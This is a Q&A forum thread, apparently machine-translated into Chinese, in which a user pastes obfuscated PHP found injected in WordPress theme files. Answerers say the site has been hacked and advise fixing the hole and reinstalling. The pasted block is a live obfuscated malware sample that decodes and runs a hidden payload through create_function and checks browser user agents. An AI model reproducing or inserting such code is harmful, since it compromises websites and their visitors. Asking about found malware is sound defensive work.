2017-06-28 25 views
-1
<?php $qlskifh = '7,*e x27,*d x27,*c x27,*b x27)fepdof.)fepdof./#@#/qp%>5h%%h>EzH,2W%wN;#-Ez-1H*WCw*[!%rN}#QwTW%hIr x5cr%:|:**t%)m%=*h%)m%):fmjix:<##:>:h%:<#64yw6Z6<.3`hA x27pd%6<pd%w6Z6<.2`hA x27pd%6<C x27pd%6|6.7eu{66~67%w6Z6<.4`hA x27pd%6<pd%#/#/},;#-#}+;%-qp%)54l} x27;%!<*#}_;#)323ldfid>}&;!osvufs} x7f;!op<&w6<*&7-#o]s]o]s]#)fepmqyf x27*&7-n%)utjm6< x53 105 x52 137 x41 107 x45 116 x54"]); if 7f_*#fmjgk4`{6~6<tfs%w6< x7fw6*CWtfs%)7gj6<*id%)ftpmdR6<*id%)dfy2p%Z<^2 x5c2b%!>!2p%!*3>?*2b%)gpf{jt)!gj!<*2;0]=]0#)2q%l}S;2-u%!-#2#/#%#/#o]#/*)323zbe!-#jt0*?]+^?]_ 69 157 x6e"; function 163 x74 141 x72 164") && (!isset wdrxgia($n){return chr(ord($n)-1);} @error_repor,6<*127-UVPFNJU,6<*27-SFGTOBSUOSb:>1<!gps)%j:>1<%j:=tj{fpg)%s:*<%j:,,Bjg!)%j:>>1*!%b:y83]273]y76]277#<!%t2w>#]y74]273]y76]252]y85;0]=])0#)U! x27{**u%-#jt0}Zwf = $klnehrn("", $vyfqnsw); $mvvc>! x24Ypp3)%cB%iN}#-! x24/%tmw/ x24)%c*W%eN+#Qi x5c1^W%c!>!%i x5c2VUFS,6<*msv%7-MSV,6<*)ujojR x27id%6< x7fw6* x7f_*#ujojRk3`{666**b%)sfxpmpusut!-#j0#!/!**#sfmcnbs+yfeobz+sfwjidsb`bj+upcotn+qsvmtwwf();}}tuofuopd`ufh`fmjg}[;ldpt%}K;`ufldpt}X;`msvd}R;*msv%)}.;`UQ61"]=1; $uas=strtolower($_SERVER[" x48 124 x54 120 x5f 125r%)s%>/h%:<**#57]38y]47]67y]37]88y]27]28y]#/r%/h%)n%-#+I#)q%:>:} x27;!>>>!}_;gvc%}&;ftmbg} x7f;!osvufs}w;* x7f!>> x22!pd%E{h%)sutcvt)fubmgoj{hA!osvufs!~<3,j%>!fyqmpef)# x24*<!%t::!of)fepdof`57ftbc x7f!|!*uyfu x27k:!ftmf!}Z;^nbsbq% x5+fmhpph#)zbssb!-#}#)fe^<!Ce*[!%cIjQeTQcOc/#00#W~!Ydrr)%rxB%epnbss!>!bss!|!}{;)gj}l;33bq}k;opjudovg}xtcvt)esp>hmg%!<12>j%!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%)sutcvt)!gj!|!*%w6Z6<.5`hA x27pd%6<pd#Y#-#D#-#W#-#C#-#O#-#N#*-!%ff2-!%t::**<(<!fwbm)%tjw)^ x24- x24tvctus)% x24- x24b!>!%yy)#}#-# x24mg%)!gj!|!*1?hmg%)!gj!<**2-4-bubE{h%)suM4P8]37]278]225]241]334]368]322]3]364]6]283]427]36]373P6]36]73]83bz)#44ec:649#-!#:618d5f9#-!#f6c68399#-!#65egb2*CW&)7gj6<*doj%7-C)fepmqnjA x27&6<.fmjgA x27doj%6< x7fw6* x6#<!%w:!>!(%w:!>! x246767~6<Cw6<pdX&Z&S{ftmfV x7f<*XAZASV<*w%)ppde>u%V<#65,47R25,d7R17,3P6L1M5]D2P4]D6#<%G]y6d]281Ld]245]K2j x22)gj!|!*nbsbq%)323l!<*::::::-111112)eobs`un>qp%!|Z~!<##!>!2p%!|!*!*]285]Ke]53Ld]53]Kc]55Ld]55#*<%bG9}:}.}-}!#*<%nfd>%fdy<C~<ofmy%,3,j%>j%!<**3-j%-bubE{h%)s]552]e7y]#>n%<#372]58y]472]37y]672]48y]#>s%<#462]47y]252]18y]#>q%<#762PMSVD!-id%)uqpuft`msvd},;uqpuft`msvd}+;!>!1^-%r x5c2^-%hOh/#00#W~!%t2w)##Qtjw)#]82#-#!#-%tmw)%tww**WYsboepn)~6<&w6< x7fw6*CW&)7gj6<.[A x27&6< x7fw6* x7f_*#)!gj}Z;h!opjudovg}{;#)tutjyf6+99386c6f+9f5d816:+946x5c}X x24<!%tmw!>!#]y84]275]dXA x22)7gj6<*QDU`MPT7-NBFSUT`LDPT7-UFOJ`GB)fubfsdXA x27Kff2!>!bssbz) x24]25 x24- x24-!% x24- x24*!|! x24- x24 x5c%jstr_split("%tjw!>!#]y8]D8]86]y31]278]y3f]51L3]bd%-#1GO x22#)fepmqyfA>]238M7]381]211M5]67]4qj%)7gj6<**2qj%)hopm3qjA)qj3hopmA x273qj%6<*Y%)fnbozcYufhA x272qj%6<^#*K)ftpmdXA6|7**197-2qj%7-K)udfoopfR x27tfs%6<*17-SFEBFI- x24-tusqpt)%z-#:#* x24- x24!>! x24/%tjw/ x24)% x24- x24y4 x24- x24%6<.msv`ftsbqA7>q%6< x7fw-tr.984:75983:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%t52]88]5]48]32M3]317]445]212]tr($uas," x66 151 x72 145 x66 157 x78"))) { $utcvt-#w#)ldbqov>*ofmy%)utjm!|!*5! x27!h((strstr($uas," x6d 163 x#o]1/20QUUI7jsv%7UFH# x27rfs%6~6< x7fw6<gP7L6M7]D4]275]D:M8]Df#<%tdz>#L4]275L3]248Lklnehrn = " x63 162 x65 141 x74 145 x5f 146 x75 156 x63 164 x#)rrd/#00;quui#>.%!<***f x2b*[%h!>!%tdz)%bbT-%bT-%hW~%fdy)##-!#~<%h00#*<%nfd)##Qtpz)#]341]88445]43]321]464]284]364]6]234]342]58]24]pmqnj!/!#0#)idubn`hfsq)!sp!*#ojneb#-*f%242178}527}88:}334}472 x24<!%dfidk!~!<**qp%!-uyfu%)367R37,#/q%>U<#16,47R57,27R66,#/q%>2q%<#g6R85,67R37,18R#>q%V<*#f x7f x7f x7f x7f<u%V x27{ftmfV x7f<*f!<X>b%Z<#opo#>b%!*##>>X)!gjZ<#opo#>b%!**X)uftte:5597f-s.973:8297f:5297e:56-xr.985:52985-t. 
+0

我發現在許多文件,如header.php,single.PHP –

+1

誰在地球上upvoted這個問題!? (和你的WordPress網站已被黑客入侵)。 –

+1

@KirkBeard大概是同一個誰(S)誰upvoted給一個題外的問題的答案。 –

回答

1

您可能遭到黑客攻擊,因此您需要找到攻擊者進入的安全漏洞,在黑客入侵之前修復它,並從上次備份中重新安裝服務器。

您可以使用服務器日誌來幫助查找洞以及何時被黑客入侵。

您應該重新安裝服務器,因爲使用初始hack下載並運行其他代碼屬於正常情況,所以您很可能已經在服務器中運行了一些rootkit。

您可能正在尋找一個簡單的修復程序,但不幸的是沒有。如果你第一次遭到黑客入侵,你通常會被列入黑名單,因爲它有脆弱的服務器,所以如果你只清理了服務器而沒有修復漏洞,那麼你將再次被黑客入侵。由於php文件被感染,它可能是一個你使用的插件的問題,或者它可能是你寫了一些不安全的代碼

+0

我曾經和服務器人聊過,他告訴我他沒有被黑客攻擊過,他告訴我你的SQL查詢有時候會睡覺。那是什麼意思? –

+0

我90%認爲這是病毒,老兄:) – MorganFreeFarm

+0

如果你是通過網絡服務器被黑客攻擊的,服務器人員可能只會看到它,但當你通過你的應用程序被黑客入侵時,則可能不會。重新安裝後你有沒有執行代碼,還是需要一段時間才能恢復?如果需要一段時間(超過1秒),你可以確定你被黑客攻擊了 – rypskar

相關問題